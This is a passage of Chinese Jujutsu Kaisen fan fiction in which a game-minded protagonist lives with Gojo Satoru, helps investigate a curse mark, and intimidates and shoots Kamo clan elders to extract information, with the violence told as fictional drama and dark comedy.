超开心能和他一起行动的,为什么会被吓倒? “………” 五条悟抬手捂住嘴,开始思考自己让对方住进自己公寓这个决定,到底正不正确了。 该不会……自己真的要被攻略成功了吧? 第34章 在羽取一真和五条悟一起住后, 打扫卫生和洗衣都有钟点工代劳,他们是悟特意从非咒术相关会社里请来的普通人。 这栋公寓也建在远离市中心与高专位置的高档住宅区,基本不用担心会被咒术相关人士发现。 羽取一真也说到做到, 无论白天还是夜晚, 只要五条悟有任务,他一定要跟着去。 索性平时本就是独自完成任务的五条悟,也不介意多带一位总是黑瞳亮亮的盯着他看的加茂家主。 关于这点,五条悟觉得完全不能怪他——谁能拒绝得了那种眼神攻势嘛。 再说,对方现在的实力也很强,就算不用他保护也很难出什么事。 但坏处是辅助监督也不能带了, 五条悟只能和羽取一真乘坐共同交通前往任务地,或者是五条悟直接带着羽取一真用[苍]赶路。 羽取一真也好奇问过悟为什么有时还要坐交通工具, 明显他用[苍]赶路要快得多。 客厅的电视正在播放一个综艺节目, 他们随便看看, 又间或闲聊几句, 来度过这段悠闲的休息时间。 “用[苍]赶路的本质是我将两个空间坐标之间进行负无穷的距离压缩,” 五条悟正用一种很放松的姿势窝在沙发里挖冰淇淋吃, 边和羽取一真粗略解释道。 “但这只能在移动中途没有障碍物的极限条件下进行,否则就会酿成大范围的爆炸事故呢。毕竟[苍]本质上来讲还是一种攻击招数,只是我开发出了长距离移动的特别用法。” “是悟自己想出来的招式吗?” 羽取一真想起之前他听到关于五条悟的评价,不是[最强咒术师]就是[怪物般的男人]。 “嗯, 虽然御三家总爱标榜自家术式是祖传的强大啦, 但那些老师根本只会教些关于咒力的基础知识嘛。” 说起这点,五条悟也难得能和人痛痛快快的抱怨几句。 “要问起什么是无穷级数, 什么是阿基里斯与乌龟悖论啦,他们就完——全一问三不知了!但关于无下限术式的记录里明白写着需要实现幻想中对于收敛与发散的无穷级数耶!” “结果啊,关于无下限术式相关的这些延伸用法, 基本都是我自己琢磨出来的哦?真的超辛苦的!” 想起曾经挑灯夜战苦学微积分的那段日子,五条悟就夸张叹出口气,摊开那只拿着勺子的手。 “在术式的释放应用这方面,[六眼]只能协助我将咒力的消耗控制到最低,关于数学的原理、定义和公式之类的,根本就是半点忙也帮不上啦……” 毕竟[六眼]只是给了他一双既便利又麻烦的眼睛,又不是给他换了个顶级好用的脑子。 听完五条悟吐槽的羽取一真沉吟片刻,抬起眼看他。 “这样说的话,你的强大都是自身努力所达到的成就,”羽取一真认真总结,“哪怕别人同样拥有[无下限]和[六眼],也未必能做到和你一样的事情。” “拥有天赋是一回事,能凭自身刻苦将天赋彻底发挥出来的人,才是真正了不起的天才。” 他真心实意的夸赞道,没有半分虚伪与敷衍。 五条悟的表情好似凝固住了。 他戴着墨镜,原本很难被人观察到更真切的情绪。但此刻,五条悟将靠在沙发上的整个上半身都偏转过来,似乎在认真与羽取一真对视。 “所以,天才成为了[最强],这本就是水到渠成的结果。” 说到这里,羽取一真眉心微皱,发现自己越了解五条悟,就越对那些御三家的老头们感到不满。 “好比物理天才经过努力后当上科学家,应该受到的是尊敬、礼遇与虚心求教,而不是忌惮、嫉妒和理所应当交给你的危险任务。” 难怪漂亮大悟想要改革咒术界,换成他来,当场先杀一片敢用手指着他鼻子说话的,送他们早点躺棺材。 不过,他这毕竟是玩家思维,作风简单粗暴,也压根不在乎后果。 羽取一真正敛目思考着,忽然感到头顶压上了一只手掌,是切实的、温暖的触感。 他顶着这份重量抬头,看见五条悟正冲他笑得灿烂,将那头略长的黑发都揉搓得乱糟糟的,胡乱支棱着翘起。 大概是收回手时发现了,五条悟又有点心虚的用五指给他梳了回去,还尝试用掌心压平。 “怎么了?” 羽取一真没介意他的这点小动作,还觉得超可爱的。 “什么也没有哦,” 戴着墨镜的最强咒术师将手收回,若无其事靠回沙发上,重新看向正在发出阵阵罐头笑声的电视。 “我只是心血来潮而已啦,心血来潮——” “啊,这样。” “哼哼,要来吃冰淇淋吗?不介意是我吃过的话…” “要。” “……答得好干脆啊你。” ………… 要说羽取一真在这段借住时间里最感谢的,莫过于他之前解锁的【烹饪】技能。 当然,就和五条悟一样,他本体也不是完全不会做饭,但没有特意学过这项技能的他做出来的成果只算“普通”,距离“令人眼前一亮”有着相当大的差距。 而此刻,这里是游戏。 他,拥有【烹饪】这项绝技。 羽取一真表面上没什么表情,实则内心早已自信满满,将平底锅里那块轻盈饱满的舒芙蕾,轻柔地铲进瓷碟里。 蓬松犹如云朵的它在完整落入餐碟里时,还整体微微一颤,看起来就柔软极了。 丝丝缕缕的热气蒸腾着拂过鼻间,带来鸡蛋与牛奶的清甜香气。 “是完美的舒芙蕾,好耶!” 五条悟墨镜后的蓝瞳几乎要闪闪发光,握着勺子守在羽取一真身边——就像猫猫寸步不离守在钓鱼佬身边——迫不及待的等开饭。 “了不起,你竟然会做甜品界公认最难做的甜品之一,”他对羽取一真说道。 “我几乎要奉你为大师了哦,该怎么喊来着……加茂大师!” “我差不多什么都会做吧。” 羽取一真扫了眼【烹饪】界面里密密麻麻的菜单,略显矜持道。 微顿片刻,想起什么的他又开口——只不过这次,换成了羽取一真格外期待看着五条悟。 “我不叫【加茂家主】,你知道的,另一个名字,就是我之前说过的真名。” 要喊也应该喊那个嘛。 如果觉得很长,把大师这个称谓去掉也没关系。 “你那个………” 后知后觉想起对方在总监部质询会上坦荡公开的真名,五条悟陷入沉默。 怎么一提到这名字,这小子总是一副超期待占他便宜的表情? 到底是想追他还是想当他爸爸? 话说应该是他比对方年龄大吧? 哪怕最近他们的关系又亲近了些,五条悟仍然对这点纳闷得不行。 由于成长环境兼感情经历过于单纯,以至于完全没接触过“情趣”这种概念的五条家主,格外罕见的迷茫了一会儿。 “你多少岁来着?” 五条悟这才想起,他至今还不知道这位加茂家主的具体年龄。 十七……这个数字在羽取一真脑海里过了一遍,张口说出游戏给他随机出的年龄。 “嗯,二十七。” “这不是比我还小一岁吗?” 发现自己才是前辈后,五条悟立刻神气活现的,将餐勺连同舒芙蕾都该用一只手端着,空出一只手来使劲搓黑发青年的脑袋。 啊话说,他最近是不是有点揉对方脑袋上瘾? “总想着占别人便宜可不好哦,后辈——” 越想到自己确实是前辈越开心,五条悟带着他宝贝的舒芙蕾早餐,高高兴兴的端去沙发上坐着了。 他目前不在行事总强调规矩的五条家,也早就懒得遵守那些刻板教条,所以他现在要边看电视节目边吃饭! 羽取一真被揉乱了黑发,站原地超失落的“嗯”了一声,又再度振作起来。 这次用舒芙蕾贿赂也没能成功…… 没关系,玩家是不会放弃的! “…………” 从墨镜后偷瞄羽取一真反应的五条悟默默收回目光。 真这么失望? 好几次了吧,都一副跃跃欲试想听他喊的表情,能鲜明感受到和听高层那帮老家伙们喊出口的反应完全不一样。 如果,就是,非要他喊的话,当做是开玩笑的那种……不行不行,怎么能纵容这小子得寸进尺……但换个角度想想,只是喊一声而已……不行不行,他可是前辈耶…… 五条悟边在脑中跟自己吵架,边一手端着餐碟,另一只手用勺子沿舒芙蕾边缘挖下一块,几乎没有感受到任何阻碍——然后放入口中——超美味。 在这份极其合他心意的口感与味道中,五条悟又开始动摇。 ——看在他把舒芙蕾做得这么好吃的份上,喊一声好像也不亏? “之前的雪山事故,查到元凶了吗?” 端起属于自己的那份早餐,羽取一真也来到五条悟身边坐下。 那身进游戏的默认装束已经被换成了白衬衫加长裤,令这位神情冷淡的黑发青年散去些许庄重而疏离的气场,多了几分生活化的亲近。 五条悟的眼光很准,不仅选的尺码很合适,休闲风的版型与风格也很适合羽取一真。 那些花里胡哨的风格只是他口头开的玩笑而已,并没有真的打算给羽取一真买那些衣服。 而且,这些全部都是五条悟付账,没有要他出一分钱。 用五条悟的话来说就是—— [当做是我送你的反向伴手礼就好哦!] 当墨镜被推起,占据整个视野的漂亮大悟冲他眨了下单眼,俏皮又得意的复述出这句他之前说过的台词后。 羽取一真的好感,当场再度坐火箭远航。 至今还没回来。 银松叶锦鲤在他们身后的水族箱里悠然摆动尾鳍,张嘴吐出一连串泡泡。 “这个二级评定任务是从高层那边直接下发给夜蛾校长的,没有经过高专。” 咽下舒芙蕾的五条悟开口道,也顺便将刚才那些乱七八糟冒出来的想法都抛诸脑后。 什么【英俊的爸爸】,才不要喊啦,他可是前辈! “果然还是那帮老头在跟我对着干。” 羽取一真的眼神顿时犀利起来,已经开始思考哪天适合大开杀戒。 算了,玩家哪天都挺适合杀npc的,他现在就去。 “诶诶,先别着急。” 五条悟按住蠢蠢欲动,看架势都快拔枪冲锋的羽取一真。 “高层那边我还在偷偷调查,不过摊牌也是迟早的事,毕竟惠的入学考核评定还要上交呢。” “我要和你说是惠的姐姐,也就是津美纪那边的调查有点眉目了。” 第35章 “那我先听你说。” 听到内容和他的隐藏委托相关, 羽取一真勉强被安抚下来。 也没有别的原因,主要是领域展开这个奖励实在太过诱人。 “……也不知道你这种性格到底是从哪里养出来的,刚见面时不还是四级咒术师吗, 以前打不过他们的吧。” 五条悟小声嘀咕一句, 羽取一真假装没听见。 实话说,以之前四级的实力也不是不能杀,只是把无双游戏玩成魂系游戏的区别。 但那些老头npc又不像咒灵,打完没什么奖励,性价比不高还浪费时间,所以刚开始时, 他愿意用更省力一点的办法。 至于现在…… 只能说,他一直都挺喜欢玩刺客信条的。 “之前我们都在往高阶咒灵或咒物的方向去找线索, 也不能说完全没有相似的病例, 但并不能完全对应。” 五条悟摸来一张茶几上的白纸, 动作飞快地勾勒出一个十分对称的复杂花纹, 每一次起笔都刻意似墨落在纸上,形成一种相当特别且诡谲的风格。 他将这张纸举起, 示意羽取一真看过来。 于是,羽取一真仔细端详了半晌,完全没看懂这纹样具体代表的相关含义,但也不妨碍他熟练给出一个夸夸。 “画得真棒。” “…………” 五条悟沉默片刻, 表情看起来有点想笑, 但又忍住了。 “你还真是没有半点咒术师的思维呢。” 或许正因如此,他才会与咒术界的其他人都是如此格格不入——就和他一样。 五条悟感叹一句, 才又继续给羽取一真解释。 “我之前误认为这是一个诅咒仍在生效中的信号。至于诅咒的来源猜测嘛,那就有很多种啦,先不展开举例啰。” 他用笔点了点纸上那个用钢笔随手勾勒出来的纹样, 又在旁边画了个丑丑的咒灵脑袋,打上叉。 “但按照你的猜测,我换了种思路,先翻找相关报告记录,筛选出与津美纪状况相同的名单——嗯,之前伊地知也报告过有相似的被咒者出现,但毕竟他们都是昏迷状态,无法沟通,再加上[窗]的人手也不足,就没有花力气特意去逐一接触确认。” “这次呢,我没有调用咒术界方面的人力,而是花大价钱委托给了普通社会上的调查机构,请他们挨个对照名单,进行被咒者相关家属的走访与调查。” 五条悟的拇指与食指圈起,比出一个相当可爱的[看我金钱攻击!]的手势。 “他们超级努力的哦,不仅询问了家属,现在还开始问起之前接触过的同学或同事、附近的邻居、光顾过的商店……总之,他们似乎开始找到这些被咒者在昏迷前经历上的某种共性了,只是还需要进一步确认。” 能找到突破性进展的线索,五条悟的语气明显变得振奋,格外高兴这个来之不易的好消息。 “我现在可以很肯定的说,这是一个来自未知诅咒师的[标记]。” 说到这里,五条悟开开心心地去拍羽取一真的肩膀。 “多亏了你,要不是你提出的[人为],我都忽略还有这点可能性了!” 像这种敢大肆在普通人里留下[标记]、不怕被他追查的诅咒师,五条悟还是头一次遇见。 多年来始终辗转在各种高危任务之中的他,反而由于祓除咒灵的经验太过丰富,在处理津美纪这种全然生活在普通人社会里、又突遭昏迷的情况时,一时间没想起还有术师作祟的可能性。 毕竟那些零散分布在世界各地的诅咒师并不多,加上被打为通缉犯的他们行事总是带着咒灵没有的狡猾,几乎不会留下术式作恶的痕迹,追查起来也相当麻烦,往往会被[窗]当成普通的刑事案件而不上报。 何况[窗]在观测咒灵或咒力引发的事件上很有经验,但要他们抽丝剥茧的来找证据破案,那就是完全属于另一个领域的专业了。 因此,五条悟既相信了羽取一真的直觉与猜测,又愿意绕开如今明显有更大猫腻的咒术界、花费大力气去验证对方想法的可能性。 譬如说,从普通社会上雇佣更擅长从细枝末节处推敲出真凶线索的,私家侦探。 ——没想到还真抓到了敌人一点狡猾的尾巴! 能解开伏黑惠长期闷在心底里的这个结,十年前就开始照拂着他长大的五条悟自然是相当高兴的。 “你只是一时之间没想起来而已,”羽取一真微微摇头。 “我才不过是凭直觉乱猜的。” 确切地说,是凭他以前玩过的那些游戏套路猜的。 这种需要额外条件触发的隐藏委托、奖励又稀有、描述还和【真相】有关的事件,不是和反派有关,就是由反派一手策划。 反正不可能会是被他当升级材料反复刷的野怪能干出来的事,它们没那个智商。 “总之啦,我过几天要回趟京都的五条家,翻翻看宗族留下的典籍里有没有类似的术式记载。” 面对不居功还要往他这边推的黑发青年,五条悟有些忍俊不禁,反省了但没完全反省的又开始继续揉对方脑袋。 反正他是前辈嘛,这就是前辈享有的对后辈特权啦,特权—— “别看御三家平时又老又守旧,但在这种时候还是有点好处的。历史啦、见闻啦、轶事啦,这些千年底蕴的家族里都有超级多的藏书可供翻阅。” 五条悟笑眯眯道,相当有耐心的给羽取一真科普这些旁人看来再基础不过的咒术界常识。 “我们当下几乎所有针对咒力相关的研究与理论知识,都能从这些前人流传下来的典籍里找到出处。” “原来是这样,”羽取一真想了想,“那加茂家应该也有这类关于咒力的书?” “搞不好,甚至比五条家还要多也说不定。”五条悟沉吟。 “别看加茂家祖传的[赤血操术]如今并不算特别出彩,如今又被你收拾得大气都不敢喘一声……但在一百五十年前,可是出现过一个被称为[史上最恶术师]的加茂宪伦噢。” 羽取一真:“嗯?” 又有新的故事背景要介绍? “我想想该怎么和你说啊。” 五条悟摸了摸下巴,回忆起之前在五条家翻过的那些旧书。 “如今被封印在高专忌库里的特级咒物[咒胎九相图],就是出自他的手笔之一。” 咒胎九相图,可以说是那个加茂宪伦打着研究的旗号,使用最泯灭人性的邪恶方式,强行制造出的惨烈悲剧。 当一位女子因拥有能怀上咒灵后代的体质而受到迫害,不得不抱着孩子的亡骸逃入寺庙、遇见加茂宪伦时,等待她的却是真正落进地狱的痛苦噩梦。 于是,九度妊娠、九度堕胎,所有的实验记录都被销毁,最后仅剩[咒胎九相图]这个无法被破坏的、昭示着他极恶罪行的证物,仍旧留存至今。 “在加茂家的历史里,这个家伙相当于禁忌般的[污点]吧,大家都心知肚明,但几乎不会有人特意提起他。” 五条悟显然也极反感那个加茂宪伦的做法,从始至终都是皱着眉毛说完的这段历史。 “我记得去年在京都高专上学的那个原定加茂家主的继承人,就是和加茂宪伦同音不同字……当时那些老头还抱怨好久来着,说起这个名字是不是在挑衅他们啊之类的。” 羽取一真翻了翻【社交】界面,终于想起这个与加茂宪伦同音不同字,偷偷摸摸在涨好感度的加茂宪纪是谁了。 上次在加茂钓殿给他拿鱼竿的眯眯眼npc小哥。 “既然这样,”羽取一真拿过五条悟手中那张纸,仔细对折后放进口袋里。 “我也回京都加茂家一趟,去翻那里的藏书。” “欸?那得想个办法偷偷送你进去……” 知道这位劝不住的黑发青年肯定不会愿意乖乖待在公寓里等他回来,五条悟干脆直接琢磨到时该如何隐藏他的行踪。 “偷偷?”羽取一真眉梢微抬,“我回自己的地盘,凭什么要偷偷的。” 五条悟怔了下,“嗯?” “刚好那帮老头以为我死了,大概正偷摸得意着,回去先杀几个祭天。” 说完这句,羽取一真还认真问可能不太方便动手的五条悟——他看过那些高层名单,里面也有好些个五条家的。 “要不要我也帮你杀几个五条家的?” 这轻松的口吻、这淡漠的态度,就跟在对他说[我现在去超市买薯片,要不要帮你带几包]一模一样。 五条悟:“…………” 他现在不担心那些老头总是费心给他添堵了。 他开始担心起这位加茂的现任家主会不会被称为[史上更恶术师]…… ………… 啪嗒。 当墨滴落在砚台里时,有惨白的瞳仁在浓墨中睁开、转动,发出好似遭受痛苦折磨后的无声嘶鸣,释放的咒力仿佛湖面波纹,在空气中一圈一圈地荡开。 “哦?” 察觉到这份异样动静的青年放下毛笔,食指与中指插入砚台的墨汁中,面不改色扣住那颗仍在惨嚎的眼球,从中取出一封尺寸不大的纸卷。 有新的密信被送来了。 只不过这次,他的神情不再如同之前那般从容。 “出乎意料的直击中心啊,快要被他察觉到身份了吗。” 这句不含任何情绪的评语落在空气里,却将氛围压抑得更低沉,连光线都在晃动着、迅速黯淡下去。 坐在桌前的青年支起一只手撑着脑袋,拇指压在额头缝线的接口上;另一只沾染墨汁的手仍展开着那张纸,将那些小字逐一又看了遍。 “用天灾也杀不死的家伙,拥有古怪术式效果的家伙,正在撕裂咒术界高层的家伙……不,应该总结成是,” “【妨碍我计划的混账】,才对吧。” 第36章 羽取一真与五条悟回到京都时, 时间已步入四月份。 虽说御三家的宗族地都在京都,但彼此间都隔着不算短的距离,好似咒术界的三足鼎立, 又隐隐水火不容。 大家都想将那份“唯一”的权力掌握在自己手里, 只不过互相势力还算均衡,才能勉强坐下来有商有量的,千年以来,都对外共同维持总监部在咒术界说一不二的裁决地位。 但长久的身居高位,既意味着他们是既得利益者,也意味着思维与阶级的双重固化。 不仅新成长的咒术师会默认总监部的存在必然性, 服从来自高层的任何指令;连总监部自身也早已顽固如铁板一块,拒绝任何改变。 要让这种人心甘情愿吐出已经到手的权力与资源, 更是无比困难。 面对试图发动改革的五条悟, 他们也会自发抱团排挤, 切割赞成改革的极少数人士, 直至整个总监部都是保守派的一言堂。 而五条悟的[最强],则是一柄双刃剑。 他的过分强大让总监部对他无可奈何, 只能容忍他多次挑战他们权威的举动,被迫做出让步;但与此同时,这份力量也让他与其余所有术师都拉开差距,只能让他们仰望、远离, 乃至畏惧。 因此, 在任务以外的时间里,五条悟不仅非必要不能出手, 还要向年轻一辈的术师们展现自己的无害与亲近。 但或许这个举动对于高层而言,就像一只捉摸不透脾性的雪豹在朝他们翻肚皮—— 下一秒会被咬掉脑袋吗,还是会用尾巴缠上来? 他们既畏惧着雪豹的利齿, 又鄙夷于雪豹的温驯,竟开始理所应当使唤起对方。 也许在背地里,他们还会为自己能驱使猛兽而沾沾自喜。 “但你们似乎忘记了,我不是五条悟。” 羽取一真坐在加茂家正殿的内侧,那个被刻意抬高的主位之上。 他又换回了极肃穆的黑底纹付羽织袴,当手放在膝上时,那截宽大的袖口便柔软地垂落在榻榻米上,展开时能清晰看见印在靠里侧的浑圆纹样。 这是含义极明确的家纹,也是自大约平治年间就流传至今的习俗之一,方便外出者彰显自身所属家族; 但羽取一真特意比对过,这件衣服上的纹样与加茂宗家流传至今的葵纹并不一致。 它更接近一种鬼神精怪中的鸟类,或许是将展翅时的神态定格于此,显得相当凛然威风。 不过,在此时此刻,无论他穿着什么装备,都不影响他才是加茂家的现任家主。 亦如同底下跪坐的这帮长老,安静地垂着脑袋听训,大气也不敢出。 都是羽取一真按照之前加茂乃吉给的总监部高层名单,点着人头让他们过来集合开会的。 这叫做真正的[攻守易形]了。 “悟有悟的做法,我支持他。” 羽取一真的声音冰冷,黑瞳扫向下方时,没人敢和他直视。 “但这不意味着我会让自己变得无害,遭到暗算也不还手。” 好比他刚才直接从加茂家的大门跨入,步伐既稳又快,衣摆带风,冷淡扫过的目光将那帮正在锄地的人看得心底发怵,纷纷避开目光时——从他们眼中流露出的惊慌与畏惧,就是此刻羽取一真发难的直接证据。 “你们好像很害怕我回来啊。” 羽取一真撑着脑袋,语气冷淡。 “怎么,比加茂长吉那时还要害怕吗?” 底下没有人敢回答。 主要是不敢抬头对着那两把摆在他们面前的[血寄斗枪]回答。 空气过于死寂,令羽取一真也不耐烦的皱起眉毛。 就算这帮老头硬和他哽着不吭声,一副非暴力不合作的姿态,他也不是拿这群人没办法。 【当前,与您有过接触的人物按好感度排列如下: 五条悟:72; 伏黑惠:46; 夜蛾正道:36; 加茂宪纪:8; 加茂长吉:-100(已故); 加茂乃吉:-85; 前田康夫:-87; 加茂平七:-93; ……】 “加茂大和,说话。” 他打开好感度界面,从最底下的-100好感开始往上点名。 反正这些npc的好感度都是跌到不能再跌了,杀掉也不心疼。 被喊到名字的加茂大和顿时就是一个轻微的颤抖,“说……说什么?” 对方这么一出声,羽取一真才想起自己刚才光顾着威胁他们了,都忘记提问。 “你来说说看,是谁想出借二级任务评定的契机,打算用自然灾害残害我这位同僚。” 羽取一真淡淡道。 “你说个人名出来,我就不杀你。” 好感度太低也是有坏处的。 像伏黑惠这类,由于好感度给他涨够高,就对他比较亲近,还会主动透露出许多线索,甚至能触发隐藏委托。 但如今他面前的这些老头npc对他都是负好感度,意味着他们根本不会主动向他透露任何情报,只具备最低限度的服从命令行为。 “…………” 羽取一真面无表情。 看吧,这个老头果然到死也是倔的,威胁都提前放在开头说了,还以为他不敢动手呢。 随着重物摇晃、猝然扑倒在榻榻米上的沉闷动静,大殿内所有人的心头都剧烈颤抖了一下。 离得近的,衣角已经逐渐染上淌开的血——但此刻,众人的恐慌终于达到顶峰。 那帮人的筹谋失败了,眼下受折磨的却是他们…! 这个家主多日不见,回来后还是像之前一样说杀就杀,根本没有丝毫顾忌! 凶神……他才是真正恐怖又残忍的凶神,竟然还开发出了将[赤血操术]应用在枪丨支里的术式! 亲眼目睹数次开枪后,他们终于感知到这一枪并不单纯是火器,而是高浓度咒力与血液的结合、压缩再借助枪丨械的动能进行超高速释放,普通术师根本无法抵御。 在弥漫满场的惊恐氛围中,羽取一真放下[血寄斗枪],再度调出好感度界面。 对着漂亮大悟的他听话又乖巧,对着这帮老头的他重拳出击。 “先和你们打个招呼,我就算将这间大殿里的人杀光了也无所谓,” 羽取一真轻描淡写的开口道,话中内容却沉而重地压在所有人的心头,既似威胁,又如诱惑。 “但你们可以自己想一想。那些总是和你们勾心斗角的同事,真的值得你们为他牺牲,甚至不惜付出性命的代价吗。” 他在说完这句话后,并没有真的给这帮人思考的时间,只略微停顿片刻,便又开始了在众人眼中凶残无比的阎王点名。 “下一个,加茂康平。” “我说我说我说!” 羽取一真还没伸手去拿放在面前的枪,加茂康平已经吓得快惨叫出声。 “是首座!首座召集我们安排的,他说他有办法除掉……呃,您!他还要我们轮流紧盯加茂家,一旦您发任何讯息回来就立刻告诉他,还说这点小事不算违背您的命令……” “哦?” 羽取一真的黑瞳微动,落在加茂乃吉身上。 之前他确实来找加茂乃吉要过高层名单,而对方当时也很爽快的给了——现在他倒有点好奇,加茂乃吉有将这事告诉总监部的首座吗。 被盯上的加茂乃吉宛如被恶兽盯上的兔子,一动也不敢动。 “加茂乃吉。”羽取一真开口。 “…………” 扛不住那双无光黑瞳带来的死亡压力,加茂乃吉终于出声,“我没说,但首座应该猜到了。” 羽取一真:“嗯?” 加茂乃吉艰涩透露:“伏黑惠的老家,埼玉县那边,也有人盯着。” 伏黑惠平安归来,五条悟那边又不吵不闹的,基本就意味着这位加茂家主同样没什么事,只是还没露面而已。 至于首座向某位发出求救信这种事……加茂乃吉没有一起透露出来。 毕竟那位之前和他们保持联络,只是被眼前这位家主以极其粗暴的手段斩断了而已——如果此刻说出来,还连累他不好解释。 看看那具倒在榻榻米上的尸体,谁也不想挨这个阎王一枪。 羽取一真沉吟片刻,选择相信对方的解释。 反正他这一路都是光明正大走进加茂宗家大门的,就算之前没发现他还活着,现在也该发现了。 “首座的账我等会再算。” 既然问出了始作俑者(暂定),取一真便先将这件事放到一边,从怀里摸出那张五条悟画有[标记]花纹的纸,展开在这些人面前。 这才是他来加茂家真正要做的事情。 “这是我目前在查的东西,你们谁能先找到相关线索——我说的是,任何线索。” 他环视底下,“我就让谁休息一个月,不用做任何工作。” “?!!” 只需要一句话,所有人瞬间变脸,一双双眼睛都格外热切的盯着五条悟画出的纹样瞧个不停,生怕慢一步想起来,宝贵的一个月休假就要被别人抢走。 这可是当其他人都不得不每天工作16个小时的时候,自己可以悠哉地赏花喝茶的日子! “时间不限,允许你们通过任何办法找到线索。” 羽取一真继续引诱他们——虽说这个让他们天天叫苦的16小时工作制,本就是他定出来的。 “如果我判断线索的价值足够,甚至可以累加休假时长。” 竟然还可以!累加!!! “我记得在某本关于术式应用的记载里看到过,” 其中一个人立刻坐不住了,在累死累活得干了近三个月的每天16小时后,没有人会对[休假]这个单词不感到心动。 “我这就去确认!” “等等,我也记得!” “让我也去找找看!” “我确定我在哪里见过!” 在羽取一真的允许下,原本还在正殿内坐着的老头腿脚瞬间变利索了,一个个争先恐后的跑去藏书室那边。 仅剩羽取一真坐在主位,目送这帮人的背影迅速远去。 看看,找东西果然还是需要正确的方法。 第37章 既然有人替他做了人工检索资料的活, 羽取一真便先给五条悟打去电话。 “首座啊,也不意外。” 五条悟的声音自另一端传来,声线远比平时低而稳重, 相当认真的分析道。 “那些人平时就看我不顺眼, 你的一举一动又太过乖张,更别提还强行加入了总监部。对他们而言,基本就是一柄刺穿心脏的致命利刃……这样的存在吧。” 他原本就是在大事上不会轻浮对待的性格,遑论如今羽取一真的性命正受到未知威胁。 “嗯,但我不觉得只有他一个人。” 羽取一真笃定道,“他们肯定还有情报在瞒我。” 五条悟好奇:“嗯?为什么这么肯定?” “[帐]里面突然爆发的雪崩, 我想应该还附加有地震。” 羽取一真判断道,“不可能是首座制造的吧。” 那老头的声音他也不是没听过, 要有这能耐, 他想杀前田康夫的时候就该出手了。 问题不大, 等他带着[血寄斗枪]和[戒禁取见]上门去拜访拜访这位首座, 包管什么真相都能让他吐出来。 “你啊,该不会已经在想怎么杀他啦?” 电话里传来几声低笑, 清朗的,又带着点樱饼的甜软,让羽取一真那双正杀气腾腾的黑瞳都听呆片刻,随之柔和下来。 “也就先发动术式, 然后多开几枪而已。” 羽取一真老老实实的回答。 想起黑发青年之前那撼天震地般的术式效果, 五条悟又没忍住笑意,嘴角上扬着, 连揶揄他的语气也变得愉快。 “首座居住的宅邸防守可是很严密的哦?你打算怎么进去呢?” “我先潜行,直到摸进他住的房间里,然后严刑拷打。” 想了想自己以前玩刺客信条的经验, 羽取一真又坦诚道。 “但我潜行的技术很菜,基本上都是一边潜一边杀进去。” 只要把路上遇到的看守npc全杀光,就没人发现是他干的——那凭什么不能算他潜行成功。 “………” 听完这个答案,五条悟沉默了好一会儿。 有时候他真的很好奇,这小子脑袋瓜里的那个一言不合就杀掉所有反对者的耿直逻辑,到底是被哪个野人丛林里培养出来的? 也不对啊……看他使用现代科技产品的手法还挺灵活,交流起来也没有现代语言障碍。 何况,五条悟也不是没有发现羽取一真身上的其它矛盾点。 或者说,对方压根没有打算对他遮掩半分,来历、实力、动机……全部都摊开在他的面前,坦荡而直白。 如果直接问的话,对方肯定也会如实告诉他吧。 ——此刻的五条悟就是有这份自信,笃定羽取一真绝不会骗他。 想到这点,正坐在藏书室里接电话的五条悟心情立刻变得很好。 哎呀真拿他没办法,既然收到了这份如此赤诚的感情,他自然也愿意尊重对方的隐私,不会非要挖掘出所有秘密不可。 “这些老爷子居住的地方通常都有结界,没有登记过咒力的你一进去就会暴露啦,根本潜行不了哦。” 此刻的五条悟正盘腿随意坐在地上,偏头笑着对电话说道。 由于在接羽取一真打来的电话,原本拿五条悟手里的旧书被他随手放腿上了,以一种几乎要散架的态势摊开着,其中几页都快彻底脱落了,仅剩下小半截还顽强黏着书脊,摇摇欲坠。 藏书室每天都有人来打扫卫生,再加上当五条悟主动开启[无下限]时,可以确保他与任何物体之间都隔着一层被无限切割的“距离”,永远也无法触碰到他——包括地上的灰尘。 哪怕踩在水面也不会沉下去喔! “结界?” 电话另一端传来的语气略带困惑,在复述一遍后又再度恢复平淡。 “那就把他骗出来杀。” 五条悟听得忍俊不禁:……他就知道对方会是这种回答。 “除了首座以外,身边至少还有一位能发动雪崩或地震的术师在协助他——甚至,可能并非普通的术师。” 将快要从腿上滑落的那本书往上拢了拢,五条悟索性朝后靠在书架上。 “之前啊,听你描述完细节后,我就去拜托夜蛾校长偷偷翻过高专内部的术师登记资料了,没找到拥有类似术式效果的术师。” “按照常理来说,即使有术师能做到这种程度,也不可能不暴露自身踪迹。例如我的[苍]抑或[赫],想要引发雪崩或地震都轻而易举,但与此同时,你能观测到的现象也不会只有雪崩或地震。” “何况你的身边还有惠在哦,那孩子和你不同,对陌生咒力的感知很敏锐啦,何况还是这种攻击术式。” 一听就是在揶揄他明明都能独自祓除咒灵、当上高专教师了,竟然还不知道该如何感知咒力。 对于这点,羽取一真也表示冤枉。 游戏设定里的[咒力]概念,跟他本人有什么关系——他在现实中又不会术式,技能都是靠系统打出来的。 不过,说起伏黑惠,羽取一真也顺势提醒道,“加茂乃吉说惠那边也有眼线盯着他。” “这样吗……我之后会和他说的。” 五条悟皱了点眉毛,显然很不喜欢高层这种耍小手段的操作。 而且…… “要调查的东西越来越多了啊,” 五条悟极少会在他人面前说类似丧气话的内容,此刻却能放心的对羽取一真袒露真实想法。 “我总有种不太好的预感。” “你肯定不会有事的。”羽取一真立刻向他保证,“敌人我全杀掉。” 谁也别想伤害他的漂亮大悟! “———哈,” 只是一句感叹而已,没想到会让对方用武力来安慰自己,五条悟这次是真的没忍住笑声。 “说什么啦,我可是[最强]喔?想杀我的家伙能从东京排到京都,但直到现在为止,连我一根毛都碰不到——” “………”同样被暴击的羽取一真默默出声,“我也碰不到。” 那头柔软又轻盈的漂亮白毛……好想摸摸看,但至今都没有成功。 五条悟的笑声一顿:“…………” 五条悟发出战术性干咳:“总之我会连同这个情报也一起调查的,你就先随便做点什么等我消息啦——嘟嘟——” 这声“嘟嘟”不是手机自带的通话终止提示音,而是五条悟自己模拟出来的,然后飞速挂断了。 剩下羽取一真盯着手机界面,默然无语半晌。 竟然被他萌混过关了……但真的,超可爱。 既然暂时和悟通完电话,又在等那帮老头npc查资料,羽取一真面对眼前这间空荡荡的大殿,竟然一时之间不知道该做什么。 要去杀首座吗?嗯……也不是不行。 但按照悟的说法,这种位高权重的老头会有挺麻烦的结界保护,杀起来很麻烦而且动静太大。 羽取一真想了想,索性先起身出殿门,来到长廊外。 庭院的枯山水早就不见了踪影,取而代之的是绿油油的大白菜与水灵灵的小青菜——都是他的金币。 